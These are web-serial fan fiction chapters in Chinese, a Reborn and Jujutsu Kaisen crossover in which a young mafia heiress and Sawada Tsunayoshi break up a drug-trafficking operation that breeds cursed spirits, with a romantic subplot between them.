有人雇佣面生的孩子当做传送带交接药品。
听起来不是什么正经活,但他们是在给的太多了,卢娜已经干了几单才敢晚上出门送货。
但没想到危险并不是来自交易本身,而是每次负责接收货物的不同的人。
今天晚上这个家伙显然不打算放过她了。
卢娜胸口急促起伏,嘴巴还被那人充满汗味的手掌死死捂着,眼眶里积蓄着浅浅一层水光。
然后她模糊的视线中,隐隐出现两个蓝幽幽的光点。
几秒后,光点越来越近,她才从黯淡的月光中勉强看清,那居然是一双眼睛,而且长在一个比她大不了多少的少女身上。
卢娜在混乱中使劲朝她摇头。
面容冰冷的少女缓缓抬手,一抹更加冷冽的寒芒出现在她手中。
几乎是转瞬间,拥有压倒性力量足以将她毁灭的男人,就被另一股更加恐怖的力量泯灭。
她被拉了起来,双眸发怔的看着黑发少女,没等发问,她就将前因后果全盘托出。
我看了眼散落在地上的药剂,思索片刻:“也许你需要一份安全的工作?”
卢娜眼睛一亮。
沢田纲吉拨开植被走过来迎面对上两双亮晶晶的眼睛。
第117章
“小一?”
清晨,沢田纲吉阻止了玛莲娜推门而入的动作,在她的注视下敲了敲门。
一门之隔的房间里一片昏暗,被子凌乱的搭在床脚,正中央是一个留有余温的空洞,像随时有人会钻回来。
不远处的浴室门里隐约传来细微的鼻音,声音里还带着未睡醒的迟疑。
我踩着拖鞋站在洗手池面前,一只手扶着水池边缘凑近镜子,一只手扒开眼皮上下左右仔细观察。
镜子里跟着做出古怪表情的眼睛也跟着移动。
雾蓝色的瞳孔还有些惺忪地水雾, 眼白暴露在空气中的时间过而逐渐酸涩充血。
“错觉吗?”
我重新站直身体打开门往外走,正好听到轻巧的敲门声,脚步一转朝那边走去,捂唇打了个哈欠:“玛莲娜?今天这么早?”
我拉开门,转身踉跄着又倒进被子里,捂着脑袋:“再五分钟。”
“玛莲娜”顿了一会才迈步走了进来,脚步声停在床边,紧接着脑袋被挖了出来,带着湿润水汽的帕子落在脸上。
“唔?”
我晃了晃脑袋,想坐起来肩膀却被按住,然后隔着薄薄的布料,有什么柔软的东西在额头轻轻掠过。
我感觉有些不对劲, 忽然抓住那人的手腕。
玛莲娜不会这么沉默,压在肩膀上的手也很大,最重要的是她一定会在第三个五分钟的时候叫醒我!
而不是现在。
我想到另一种可能,抓着手腕的手指小心翼翼放松了些许,小声:“沢田先生?”
脑袋上方传来低低的笑声。
他按了按少女凌乱的发丝:“刚刚传来的消息,那边有行动,我们的计划要提前了。”
我一把扯下脸上的帕子跳起来:“真的?!那我们快……”
肩膀被一双温热的掌心按住, 一触即离。
又换回西装的沢田先生慢条斯理的直起身:“慢慢来,我在楼下等你。”
我摸了摸还残存了些粗糙触感的肩膀,在门被带上后,撑着身体坐在床沿,伸出一只手在眼前晃了晃。
银色素圈上的宝石闪烁。
不自觉抿唇微笑。
·
彭格列与其他家族交界地带。
交错复杂的巷道里充斥着烟酒与呕吐的气息,自从上次有人在这里栽了跟头之后,交易市场很是安静了几天。
此时仍然还在进行交易的不是走投无路的亡命之徒就是背后有靠山的中介。
所以当一个生面孔走进这里的第一时间就已经被人暗暗盯上。
当那名身形过于消瘦头发干枯的少女,不经意露出随身口袋中的装着澄清液体的小瓶后,黑暗中的人对视一眼跟了上去。
少女瘦得有些脱相,只有那双眼睛在昏暗的巷道里亮的惊人。
她们没有交流,一前一后穿过几条巷道。
终于跟在后面的大汉不耐的抓住她的肩膀:“啧,可以了!又是个什么都不懂的愣头青,我看伊……”
“咳!”
同伴打断了他的话。
“行了说正事,这次带了多少,我们全要了。”
少女沉默的低头卸下挎包扔给他们,声音沙哑:“五十份,在原来的基础上涨10%,少了没商量。”
清点完毕的金发男闻言打量她几眼。
“是不是想钱想疯了,这破药怎么来的你当我们老大不知道?翻倍赚还不够,这样做生意也不怕回不去?”
他说着逐渐靠近少女,手轻轻一抖,黑洞洞的枪口就抵在她腰侧。
少女却对他的威胁无动于衷,干瘦的脸在昏暗的光线下平静的有几分诡异。
金发男抵着她的手一顿,然后用另一只手抓着她的头发强迫她抬起头来,狞笑一声:“跟我装神弄鬼?!”
“我看你不想活了。”
黑发男人脸色一变,按住他抬起的枪口:“等等!我们的库存不多了,这批货那边要得急,先拿到手再说!”
金发男沉默了一下,胸膛起伏几下沉默的放下手枪,却仍然抓着少女的头发。
“他们要的价格太高了,老大不会同意的……”
没想到一直沉默的少女忽然开口插了进来,嗓音平静:“带我去,价格对我们都有利益,合作才能长期继续下去。”
黑发男奇异的看了她一眼。
没想到她居然有这么大的胆子。
金发男冷笑一声:“要钱不要命?”
巷子里安静了一会儿,少女在他的注视下不偏不倚的回视。
金发男人忽然嗤笑一声,把她扔给黑发男人,转身:“我现在有点好奇你背后是什么人了。”
少女平静飘忽的眼神动了动,小声说:“过不了多久你就知道了。”
一行人很快消失在错综复杂的暗巷当中。
钟楼顶层。
两道身影一站一坐,我坐在时钟边缘晃着小腿,听着从那头传来的声音,定位上的红点开始快速移动。
“最大的老鼠开始动作了。”
“我们也要准备了。”
没有听到回答,我仰头看向站在身后的男人,脑袋抵着笔挺的西装裤,不满的说:“沢田先生?”
他低头低头看了过来,眼中的沉思褪去,下意识露出一个安抚的笑:“已经安排好了,卢娜也不会有事的。”
我不满的用脑袋顶了顶他的腿:“我才不是想问这个,卢娜我当然会保护好,沢田先生一定要跟来的原因还没告诉我呢。”
这样的任务我带着人过来已经足够了,哪里需要沢田先生亲自出手。
他没有立即回答,只是眉眼间隐隐有些忧虑。
上次出现的怪物已经有初步的研究结果了。
那是巨大的能量集合体,如果不用特殊手段,普通人无法察觉。
这样的怪物如果的大量出现,且没有完善的处理手段,造成的伤害简直无法估量。
那么,制造出这种东西的家族又在打算什么?
我悄悄把他的腿当做靠背,继续盯着移动的坐标,声线上扬:“我知道了。”
沢田纲吉闻言挑眉:“嗯?”
我看着离这里越来越近的红点,头也不抬的回答::“沢田先生大概是在想要怎么阻止那些人和怪物吧。”
“因为沢田先生看起来就是那种不论何时都会毫不犹豫挥拳保护大家的类型。”
头顶搭上来一只手。
沢田纲吉看着她:“是这样吗?”
我十分肯定的点点头:“有时候真的看不出沢田先生是mafia呢,这是夸奖哦。”
然后我说到重点:“不过我倒是觉得那个怪物并不是他们主动创造的……起码最初的那只不是。”
“那些人最初自己也吓了一跳吧。”
我抬手捏住他垂落在身侧的指尖,清了清嗓子:“那些怪物就算不是他们做的,也会在别的时候诞生。”
“我是说沢田先生最近很累吧,我……大家都会帮忙的,您偶尔也可以稍微依靠一下大家。”
说完之后我梗着脖子没敢回头,在沉默中开始后悔自己的冲动。
明明超级不擅长说这种肉麻的话,结果还是说出来了!
他会不会觉得很幼稚? !
被小心抓住的手指反过来握住我的手。
粗糙的指腹在我的手背上轻轻拂过。
我听到衣料摩擦的声音,紧接着紧绷的后背就碰到一片结实温暖的胸膛,一只手穿过我身前轻轻拢住。
“小一。”
我下意识回应:“嗯?”
他揽着我的手微微收紧,温热的气息喷洒在我的耳后:“谢谢你,不,我想说的是……”
我胸口的心脏怦怦跳,眼神恍惚了一下,忽然没等他说完就跳了起来。
我转身抓着他的手:“他们果然朝这里来了!”
“我们也跟上去!”
我说完转身下楼朝卢娜的位置跟了过去。
天台上眨眼间只剩下一个人。
沢田纲吉低头看了眼空荡荡的掌心,忽然轻笑一声,跟了上去。
这个年纪的孩子每天都在想什么才会让她这么……可爱的呢?
第118章
东京郊区。
安静古朴的宅院突然热闹起来, 像是收到了某人的指令,整个宅院的人都陆续走出房间,分工明确的分成几波四散开来。
从上空来看其中大部分咒术师都在赶往宅邸的侧后方——家主的庭院。
就算是刚入职不久的侍女也都紧绷着小脸,快步跟在领头的姐姐身后,将贵重的咒具如流水般送到各位大人面前。
庭院里的众位大人面色严肃一言不发,目光全然信赖的注视着最前方身穿正式到可以去结婚的高大身影。
她余光只扫了一眼,有着一头白色短发气势惊人的家主大人从头到尾只是平静的坐在那颗最大的樱花树下,随意的曲起一条长腿,那双让人不敢直视的蓝眸……
她倏然收回视线脚步匆匆的跨出门去,踉跄了一下还差点绊倒。
“家主大人到底想做什么的……那个表情是在兴奋吗?”
就算是因为崇拜家主而进入五条家的她也无法用更加正面的词汇形容家主大人的状态。
她不自觉放慢了脚步,想起了家族中暗地里流传的消息。
家主大人不断地耗费巨大的精力钱财,实际上是为了找一个人,那个人一定在他们不知道的地方狠狠得罪过家主大人,才会让他如此锲而不舍。
她现在觉得那则传闻非常有道理,而身为最强咒术师的对手, 她不由自主怜悯那位不知名的家伙一秒。
“京子?你在哪儿?快来帮忙!”
她骤然回过神小跑过去:“是!”
蹲在屋顶的我忽然打了个喷嚏,差点从屋顶边缘滚下去,背后及时伸出一只手将我拽回去。
我遏制住嗓子里的痛呼,额头抵住他的肩膀,眼前是沢田先生颈间搏动的青筋与凸起的喉结,我眼神顿了一下,后知后觉意识到现在的姿势,有些尴尬的向后退。
钟楼一角看上去无人光顾的荒废小屋里传出一声清呵:“谁在那里?!”
我悄悄移动的身体停住屏住呼吸与低头的沢田先生对视。
我朝他眨了眨眼睛, 示意自己能行。
他眼神动了动,一手搭住我准备支起来的腰肢,阻止了、我的动作,略高的温度透过布料印在腰间的皮肤上,莫名让我撑着他肩膀的手腕发软了一瞬。
小屋的门被人粗暴的打开。
我没时间询问,眉头微蹙,单膝跪在他的大腿上,手臂撑着他的肩膀,扭头向下方看去。
手指悄悄搭在剑柄上,等待那人出现的一刻点燃火焰。
那就只好速战速决了!
那人非常警觉环顾四周后立即向上探查。
我的身体因蓄力慢慢紧绷,在心中快速计算着时机。
沢田纲吉感受到手掌下的变化,棕色的瞳孔深邃了一瞬,按着人的手指微动又僵硬的凝固在原地。
专注的少女抽空瞥来一眼。
那双平静时总是雾蒙蒙显得慵懒顿感的蓝眸,出现一种格外冰冷的气势,她像一个天生的杀手,从决心承担起原本不该落在她身上的重担之后,就以一种令所有人都惊愕的速度成长。
教导到后来连reborn都认真起来了。
她就是个天才。
沢田纲吉从第一次见面开始就不由自主的注视着这个与自己格外相似的孩子,在这样的观察过程中,逐渐描绘出一个勇敢又柔软的少女画像。
也更加意识到她与少年时被老师同伴以及亲人拥簇着向前走的自己之间的迥异。
作为索恩的大小姐的黑川一比自己更加果决而富有同理心并乐意去付诸行动,她不存在犹豫和恐惧,如同森林中狩猎的大猫,选定猎物后冷酷的制定计划并全然执行。
如同现在一样。
……有种冷酷残忍的魅力。
他在下方那人抬头的瞬间,再次的握住她紧绷的手腕,朝那张惊愕的小脸露出一个安抚的表情。
“我们先下去看看。”
我眼前一花,就被轻巧的带进小屋。
小屋里的布局一眼能看到底,布满灰尘的地面上,突兀的出现了一个方形的洞口。
我反射性抓着他的手臂,双脚因为腰间的手臂在空中悬着晃了晃:“果然有东西。”
我挣扎了一下想要下来,头顶被按了一下,我看了一下腰间和手下掐着的胳膊,沢田先生大概是用下巴蹭了一下我的脑袋。
我安静下来,第一时间的反应是昨天没洗头。
我目光放空了一瞬,就这样被带着跳了下去。
下落的时间持续了好几秒。
双脚终于落地的瞬间,我听到不远处飘忽熟悉的摩擦声,以及一道暗含不耐的男音:“你这个贪心的小东西,你和你上头的蠢货都想在我这里混好处?”
紧接着是子弹上膛的声音。
我穿过湖南的回字形走廊,终于见到了声音的来源,那是一个巨大的空间,被不知名的透明材料分割成无数格子。
每个格子间门前都标注了类似实验室1 、操作室1 、休息室之类的标识。
但现在明显作用不同的房间内所有东西都被破坏,胡乱的被堆积在墙角,一只只丑陋的怪物被困在其中,挣扎着要从透明的笼子里挤出来。
在这些格子间的最前方是唯一一间未被破坏的办公室,穿着黑色西装的男人嘴里叼着烟,用枪口抬起纤弱少女的下巴,语气一转,忽然多了点兴致。
恩利·菲尼斯今天来实地考察他的摇钱树们,天知道这些意外的小惊喜们会给他带来多大的利益,他们就是天生的杀手。
“显然你不知道我是谁,但看在你不合时宜的贪婪上,我可以给你一个回答问题的机会。”
卢娜的身体在危险下生理性的打着颤,异常圆润的双眸盛满恐惧。
她下意识环顾四周,可那些格子间里空荡荡的,那些深深浅浅的红痕显然不是罪魁祸首。
“……是什么?”
恩利·菲尼斯冷淡地看着快要吓傻的少女:“平静点,别让我后悔给你机会。”
卢娜回过神看向他,忽然注意到男人身后的拐角处悄悄探出的脑袋,黑发少女朝她眨了眨眼睛。
她倏然镇定下来。
她的镇定让菲尼斯满意的提唇,形成一个冷酷的表情。
“那么回答我,是谁让你来的,三两句话引得那两个蠢货带你来这里,呵,愚蠢短视的小姑娘,无论你背后的人如何承诺,你都再也无法离开这里了。”
他一字一顿:“当然如果你能乖巧点告诉我背后的家伙,我就仁慈点给你个痛快。”
菲尼斯将手枪转了一圈重新对准她的额头。
然后他就看到这个瘦弱的虚弱的一看就是接头流浪的孤儿的少女露出一个好奇的眼神:“那我也很好奇先生。”
“这里关着什么?”
菲尼斯脸上的假笑淡去,蓝绿色的瞳孔危险的眯起:“你看的见?”
他推了推脸上的眼镜,咬着烟头的牙齿下意识收紧,又猛然放松,断掉的烟头落在地上喜爱。
卢娜注视着他,忍住自己怪异的表情。
他在害怕?
菲尼斯僵直的站在原地,好一会儿忽然哼笑两声,虽然那声音就像是从嗓子眼里硬生生挤出来的一样奇怪。
“呵呵,那是我的希望,是家族复兴的宝物……是即将笼罩于所有人的阴影!”
他粗鲁的拽下眼镜用力怼在卢娜眼前,如愿以偿看到她遏制不住的惊恐才满意的退后一步:“它们简直太棒了,是谁都无法预料到的杀机。”
“我还需要更多更多……”
菲尼斯在极端的兴奋与压抑的恐惧当中深深吸气,表情扭曲:“菲尼斯家族将成为一流的,不,顶尖的Mafia家族!”
“你该知道我对你有多么仁慈了,让你立即死亡绝对比落入它们口中幸福,你说是么?”
卢娜恍惚地跪坐在原地,刚刚看到的景象不受控制的在脑海中回荡,牙齿不受控制的磕碰发出细碎的声响。
那是……那是……
太危险了!
不能让黑川大人继续留在这里!
她紧绷到几乎想要呕吐,虚弱的说:“这些怪物和伊利亚出手的药剂有关?”
在菲尼斯心中她已经是死人也不在乎多说点什么,重要的是已经很长时间没有人来分享他的情绪了。
曾经来过这里替他看守宝藏的家人都惊惧得如同变了一个人。
细微的风吹草动都有可能让他们害怕得发疯。
他说:“伊利亚从三个月前的成果,据说从血液中发现的从未见过的能量,能够提升药物的治愈能力,甚至改了点配方卖给我们。”
“要我说他们就是目光短浅得此失彼,要我说肯定是上天都在眷顾菲尼斯。”
卢娜蜷缩着身体想要离他远点,恳求的目光看向黑川大人的藏身之处。
请快些离开吧!
我听完菲尼斯平静的歇斯底里,目光再次落在那些隔间上,忍受那些怪物随心所欲的长相之后,忽然发现被我忽略的事实。
我舔了舔唇:“这里是饲养场?”
那些怪物的隔间里被压塌的平车不止一辆,散落的血迹也有了解释。
这里不仅仅是关押怪物的监牢,而是那个疯子企图用人类驯养怪物的牲畜圈!
忙碌中抽空看一眼的五条悟声线愉悦:“你猜我在做什么……”
说到一半忽然看见被关押人为饲养的怪物。
“嘶,什么品味?养这么多低级咒灵它们又不会感激的喊他爸爸,嗯?再不清理的话它们就要爬出来了哦。”
我选择性无视了他恶趣味的玩笑,抓紧询问:“你认识这种怪物?”
“……当然……危……但你有……我的……没问……”
那边断断续续传来意义不明的声响后彻底失去了联系。
我:“……”
果然不靠谱啊那家伙!
我握着剑柄的手点燃了火焰,细长的剑刃在黑暗中散发着幽幽白光,视线锁定发出细碎声响的透明墙壁,凝重的说:“该行动了的沢田先生。”
“它们好像要失去控制了。”
沢田纲吉戴上手套燃起火焰的瞬间柔软的棕眸变得极度冷静:“不能放它们离开。”
我轻轻点头,身体下压轻轻呼气,准备动手。
后背却轻轻附上一具温热的身体,似有若无的触感落在我紧绷的后颈,紧接着是那人率先出手的果决背影。
沢田纲吉在极度冷静的状态下,就连声音都变得清冷磁性:“一定要小心。”
“……嗯。”
我摸了摸后颈跟着他奔了进去。
紧张的雾蓝色瞳孔在暗处绽放出更加冰冷清透的蓝芒。
第119章
“哈……哈……”
握着剑柄的虎口以及手腕灼热发酸。
我借着沢田先生的掩护踩着地上胡乱倒塌的桌椅跳到还算完好的隔间房顶,打破桎梏泄洪般向外涌出的咒灵,像是找到了方向,没有丝毫犹豫的向我脚下聚集。
我拽着卢娜的衣领让她待在身后,大口喘息:“这和我想象的不太一样。”
刚将一串咒灵冻成冰渣的沢田纲吉落在我身边,鞋底轻点,我们身后的一连串冰雕瞬间化作冰屑。
他轻轻呼出一口气, 额发略微凌乱,凌冽的声线穿透咒灵意义不明的低声絮语传进我的耳膜:“这里交给我, 卢娜不能继续在这里待下去了。”
“就帮我堵住出口吧小一。”
我在匆忙中侧脸望去,有晶莹的汗珠顺着他成熟分明的下颌滑落,挂在下巴上要落不落,目光不受控制的被那颗水珠吸引了片刻。
明白过来他的意思后我挑眉拒绝。
“想抛下我独自逞英雄想都别想!”
他上前一步挡开一只咒灵,手指抬了抬又对准下方,无奈:“你明明知道我想说什么,我保证我们都会没事,只要你先带着卢娜离开。”
“还有我。”
菲尼斯虚弱的声线被埋在下方。
始作俑者理所当然需要享受一下他的“劳动成果”。
我没有理会他的声音,重重的搂了一下卢娜的肩膀,随后跳了下去。
卢娜站在角落, 脸上是一副被我扔过去的眼镜, 至于来源不太重要, 表情比我们想的都镇定。
她尽量缩小身体不给人添麻烦, 眼睛大部分时候都落在黑发少女身上,小声:“我没关系的。”
她太懂事了。
我抽空朝她眨了眨眼。
处理这些咒灵比我想象中要更加轻松一点。
我抽出没入死线交汇处的细剑,上下饭转一圈抖落暗色的粘稠液体,大口喘息着靠在沾满不明液体的墙壁上才勉强没有和地上逐渐消失的尸体躺在一起。
将收回的细剑揣进长裙下的绑带固定住。
我接过递来的手帕擦了擦狼狈的脸和手指,然后用过度使用而微微颤抖的手指轻触眼睑,转动着眼球环视一圈。
室内炼狱般的景象纤毫毕现的呈现在脑海当中, 我不受控制的露出嫌恶的表情,用力闭了闭刺痛的眼睛。
“眼睛不舒服?”
我闭着眼睛朝声音传来的方向转头,过度使用后的刺痛让我懒得睁开眼,有气无力的点点头:“我先休息一会儿,暂时不想看见任何东西。”
靠近的脚步声停在身前两步远。
我听到沢田先生暗含担忧的声线:“那我们该早点离开。”
“等我一下。”
细微的摩擦声在充满腥臭气息的安静房间里响了片刻。
有什么触感光滑的布料触及眼眶,两只手臂带着热意用一根布条从我的眼前穿过绕到我耷拉着的脑袋后面系紧。
沢田纲吉收回手有些不太习惯的扯了扯衣领,唇角笑意柔软:“好了,这样会好受一点吗?”
我摸了摸脸上厚实的布料,就算睁开眼睛也是不透光的黑暗,歪了歪脑袋,脑后垂落的布料随着动作晃动。
“不得不说好多了。”
我摇摇晃晃支起身体,感觉身体每个关节都在和我抗议,再不回去我绝对会站在这里睡着。
“我们走吧。”
卢娜瞪大眼睛小跑过来想要扶住看起来过分疲惫的黑川大人。
她的手和另一双第一时间探出的手在空中相遇,他们对视一眼,棕发男人平静的收回手掌,朝她点点头走在前面。
他特意放慢了脚步照顾着两人的速度。
表情却有些古怪。
垂落在身侧的手指蜷缩起来相互触碰。
总感觉有些空荡荡的。
他的身后,我被卢娜卖力的支撑着向前走,视野一片漆黑给我带来了点麻烦,而卢娜的力气显然不足以支撑着比她还高的我走出去。
我隔着一层布料默默注视着沢田先生的位置。
难道沢田先生也受伤了?
总不能是在故意和我保持距离吧。
……好像也不是没有道理。
我鼓了鼓脸颊,收回视线尽量减轻落在卢娜身上的重量,上面一定已经来人了,不就是自己走上去么!
我可以!
但是卢娜的体力实在是太差了,走了一小段路后,我感觉到撑着自己的手臂开始微微颤抖,面无表情的站定。
“咳咳。”
我按着卢娜的肩膀轻咳两声。
来自前方不紧不慢的脚步声倏然停下。
我微妙的察觉到什么,在黑布下眯了眯眼睛:“卢娜已经很累了,沢田先生可以请你帮忙……”
话音未落,那道脚步声三两步来到我身前,失重感忽然袭来,我未说完的话被堵在喉间。
突然转变的姿势让我下意识勾住他的脖子,双腿并拢坐在他的手臂上。
“……我只是想让您帮忙扶一下。”
耳边传来他歉意的声音:“失礼了。”
我下意识抱怨的声音卡在喉咙里,只能从鼻腔里发出一声轻哼,而后听到卢娜压抑的惊呼。
她双眼冒着小星星着看被沢田先生小心拢在臂弯里的黑发少女,在他看过来之前心甘情愿贡献出自己的衣领。
三人开始快速移动。
我靠在他的肩膀上被遮挡的视线落在另一边,迟疑地想,卢娜的声音好像有点远?
不再迁就我们的速度之后,沢田先生一拖二很快将我们运送出小屋。
我听到有急促的脚步声朝这里靠近,卢娜很快就被人带走。
我原本晃着腿想要跳下去,箍在大腿外侧的大手却没有放松的意思,只好别扭的挂在他身上,听完沢田先生条理清晰的将收尾任务布置下去。
不知不觉听得入了神。
等到围上来的人都散开,沢田先生似乎才想起我。
“抱歉让你等了这么久,现在我们可以回家了。”
他带着我走了几步,随后是车门被打开的声音,紧接着我就被放进车里,他跟着坐在我身旁。
直到车辆开始平稳的行驶,我才恍惚着扭头。
“怎么了?”
温热的掌心附上我的眼睛,热度稍微驱散双眼的疲惫。
这样的温柔与耐心让人忍不住依恋。
我张了张口,最终还是摇摇头:“没事了。”
明明可以把我放下来再工作,偏偏沢田先生就这样带着我工作了全程……不过他应该不是故意的。
我靠在柔软的座椅里,几乎瞬间就睡了过去。
力竭后的一觉睡得特别沉。
醒来后望着窗外的朝阳,还有些不知今夕是何夕的倒错感。
我躺在床上用力舒展了一下身体,在被子里扭成奇怪的形状才精神饱满的坐起来,还未打理的长发乱糟糟的堆在身前,被我胡乱拨到身后。
我踩在地上蹦跶了几下,忽然注意到放在枕边的黑色布条,撑着床沿用两根手指拎起来看了看。
“领带?”
“啊!是沢田先生的!”
我拿着领带在脸颊边上蹭了蹭,熟悉的触感破获了它的归属,看着这条领带心情似乎也多了点微妙的情绪。
“领带啊。”
要不要找个机会还回去呢?
我捏着领带转身打算找个地方来安放它,忽然对上沢田先生的视线,他一副马上要外出的打扮。
今天的西装更加正式,披风被他挂在手臂上。
他站在那里不知道看了多久。
我拿着领带的手指微僵,将醒来后的动作回忆了一遍之后有些无助的闭了闭眼。
“日安沢田先生,你什么时候来的?”
他平静的面容给我带来一丝安慰:“日安,刚来,玛莲娜专门准备了早餐让我来叫你起床。”
我松了口气,故作镇定的笑了笑,举着这条烫手的领带自然而然的物归原主。
“昨天的是这个么,还给您,还有谢谢。”
他在我放松下来之后才往房间里迈了一步,我发现他衬衫的领口微敞,托着领带的手积极的往上举了举。
我十分镇定:“也许您需要这个。”
他在我令我觉得舒服的距离停了下来,棕眸在今天早上第一次落到我手中的领带上,停顿了一瞬,随后微微弯腰凑过来。
“我想是的。”
我与他对视片刻,在他直起身之前,把领带绕过他的脖颈,认真的打了个不太规则的梯形。
我徒劳的整理了一下形状,没什么成效,心虚的轻咳:“好了。”
他直起身摸了摸我的头发温声道谢,顺便不经意提到另一件事:“昨天晚上休息的好吗?最近你总是容易出神让我们都有点担心。”
出神?
自从我发现脑袋里的声音会干扰我的任务后,就和他们约定,主要是五条先生,将出现的时间固定在睡前或者清晨。
没想到还是被察觉了。
我摇摇头为了不让他们担心保证道:“请一定放心,我只是偶尔在思考一些问题,之后不会了。”
“嗯,绝对不会有问题的。”
沢田纲吉脸上的微笑淡了点:“那就好,发生什么事一定要让我们知道好吗?”
沢田先生今天好像有点奇怪,我在心里嘀嘀咕咕,是不是对我保护过度了,明明我已经保证不会有事。
我面上乖巧点头,挥着手站在楼梯口送他出门。
门咔嚓一声合上,我的表情垮了下来,在原地尖叫着蹦了几下。
我安慰自己:“他看起来很平静,一定没看到我的用领带蹭脸的动作……一定是的!”
玛莲娜将早餐放在桌上,微笑着问:“大小姐,今天的着装已经为您挂在衣柜第一排,需要我帮忙梳理头发吗?”
她还是习惯叫我大小姐,我也没刻意纠正。
我轻快地背影一僵,匆匆跑进房间照镜子,大声回道:“不用!我马上来。”
我看着镜子里都不修边幅的身影,表情痛苦。
“我就这样跟沢田先生见面的吗?!”
第120章
药物的下游家族在俘获菲尼斯之后清理的进展很快。
说实话我和沢田先生都没想到在那场战斗之后,菲尼斯还能命大的活下来,明明我们没有管过他。
也只好用来的压榨剩余价值了。
不过我觉得清扫的进度这么快还多亏了那两人。
我打开车门下车,看了一眼不远处对峙的两人,心里开始为沢田先生最新修建的花圃和喷泉默哀。
其中一人是穿着紫色衬衣西装外套的云守。
云雀先生作为彭格列最强的守护者,不知怎么主动接手了这项任务,本来他一个人就够了,我将目光落在他对面的紫发男人身上。
那人紫色的头发在脑后扎成一簇,最下方却还留了一缕发辫随性的落在脑后,他握着一把三叉戟与浮萍拐碰撞发出可怖的声响。
最奇特的是那双写着数字的异色双瞳,明明是微笑着与云雀先生说话,特殊的口癖却总让人察觉到奇异的嘲讽。
我后退一步拉开距离,尽量将场地让给一看就超级不对付的两人。
一边走一边思索,这位应该就是和云雀先生关系不太好的雾守六道骸了。
总之在这两人读作收尾写作较劲的比试中, 那些用药物做实验贩卖器/官乃至于试图饲养咒灵的家族以极快的速度被清理一空。
这样可怕的执行力让彭格列更加具有威慑力。
我走出电梯穿过走廊敲了敲尽头的门:“不过这也算好事,连带着索恩都有受益就是了。”
“进来。”
我推门而入。
宽大办公桌后的沢田先生朝我抱歉的笑了笑:“稍微等我一下。”
我熟门熟路的窝进角落与办公室色调不符的柔软沙发里,惬意地叹息:“没关系,您有空了再叫我。”
他让人送来我喜欢的茶点,唯独喜欢给我准备蜂蜜牛奶。
我皱着鼻子喝了一口。
沢田纲吉放下文件双手交叉放在桌上,注视着脸上多了一圈奶胡子的小一:“比预计回来的还要早一点,索恩那边已经处理好了么。”
我擦了擦嘴, 瞄了他一眼, 才不会说我故意加快进度才处理完事务赶过来的,扬了扬下巴:“当然了。”
“那点事情难不倒我。”
他收回目光余光注意到窝在角落的身影更放松了些, 眉眼挂上了点笑意:“那一定辛苦了, 休息一会儿吧小一。”
我勉强应了一声,想说什么,最终还是没敌过睡意。
我做了个漫长的梦, 梦中有许多陌生又熟悉的片段飞速闪过,让人想要抓住又无从下手。
而更多的是浓重的几乎将整个空间淹没的雾气。
我在雾气中迷失了方向,干脆原地躺下,翘着腿等待身体醒来。
这一次我听到隔着层层叠叠的雾气有脚步声朝我靠近。
“kufufufu让我看看,抓到一只彭格列的小猫咪?”
我睁开眼睛似乎看到了一道修长的身影,那道身影又瞬间被雾气吞没,我抓着被子猛然坐了起来。
一只温暖干燥的手掌摸了摸我泛着凉意的脸。
“小一?”
我猛地扭头恍惚地与那双棕眸对视了好一会儿,落在沙发上的手收紧,绒毯柔软干燥的触感带回了些微的真实感。
我陡然鼓动胸膛深吸了一口气,声音还有些飘忽:“我没事。”
只是好像做了一个奇怪的梦,那一定是个美梦,让我有些不愿意醒来。
奇异的笑声再次回荡在耳边。
我忽然迟疑一下,不,好像还有什么奇怪的东西出现了。
也许是凤梨?
沢田纲吉为她擦了擦额头的细汗,疑惑的重复:“凤梨?”
我眨了眨眼抬手握住脸侧落后撤的手背,将刚才的梦境扔到脑后,弯唇道:“做了个奇怪的梦,但是现在想不起来了。”
我装作没看到沢田先生试图收手的动作,目光下移注意到他从马甲里垂落下来的领带有些松散,下意识伸手拽了拽。
他无奈的顺着我的力道靠近,空着的手撑住靠背,手臂收紧的肌肉将单薄的衬衫整理出漂亮的线条,我又抽空看了一眼。
“一起去吃饭?顺便聊聊你的事。”
他弯腰前倾的动作让原本合身的西装裤收紧,描绘出大腿肌肉漂亮饱满的轮廓,我握着领带的手微微收紧,视线飘忽的扫过黄铜时钟。
还没到沢田先生休息的时间。
我捏着领带有点不想离开,又不想打乱他的工作安排。
“……不想打扰你工作,在这里吃饭可以吗?”
我左右看了看又短暂的和他对视一眼,到食堂吃完饭说了事之后,那就没理由留下来了,可我好不容易处理完索恩堆积的工作,顶着查尔斯恨铁不成钢的视线跑过来的。
在这吃完饭还能顺其自然留在这里,我瞟了一眼那张宽大的红木办公桌,沢田先生工作的时候看起来也很性感,咳,厉害。
“独处有利于培养感情~”
玛莲娜是这样说的。
沢田先生看着我安静了一会儿,沉默让我有些失落。
“抱歉,我是不是说了让你为难的话。”
我将这次的作战计划划掉,松开手推了推他的肩膀,若无其事:“那我们去餐厅吧,昨天山本先生和我推荐了最近的寿司店,听说味道不错。”
沢田纲吉看着她脸上不停变换的可爱表情忍着笑意,用几乎将人环抱进怀中的姿势,等待着她可爱的请求。
她今天没有穿优雅修饰身材的长裙,而是宽松的运动外套的和短裙,苍白的皮肤在暗色的衣物与发丝的对比下有种格外脆弱的美丽。
黑发遮掩下的小脸不足巴掌大小,索恩家的三代目就是这样可爱安静的少女。
但没有人比他更清楚在这具娇小的身躯下隐藏着的是多么坚韧漂亮的灵魂。
沢田纲吉想到索恩家族最近令人不解的清扫行动,终于还是忍不住揉了一把她的发顶,手感比记忆中更加柔软。
他想,怎么会有人会这样牵动着一个人的情绪。
他为她做出的成绩骄傲,为索恩家族的重新崛起而高兴,为她匆匆出现而惊喜,也为她不自觉欣赏的目光而兴奋。
他喉结微动不着痕迹清了清嗓子,想稳重地将她可爱的请求答应下来,并且平静的说明在这里她想干什么都是被允许的。
结果在短短的几秒钟之内她灵活的小脑袋似乎经过了一些复杂的运转。
他的思绪也不受控制的发散了两秒。
她什么时候和阿武关系这么好了?
我推了推他的肩膀:“沢田先生?”
沢田纲吉迅速回神,握住搭在肩膀上的手腕带着她后退一步从沙发上站起来,挽回道:“你想在这里做什么都可以。”
“那我现在让人送餐上来可以吗?”
我顺着他的力道走了两步,轻易的打破了社交距离,鼻尖是他身上浅淡的铃兰与木质香混合的味道。
我的心情在他认真的眼神下轻而易举的好了起来:“好啊。”
独处计划成功!
沢田纲吉轻笑一声,又问了一些无关紧要的问题,最后若无其事的提到:“阿武说的那家寿司店我也知道,下次我们一起去吧。”
“对了,你们关系好像还不错?”
说到这个我眼神闪了闪,有点心虚的扣了扣他胸前金线绣制的纹样。
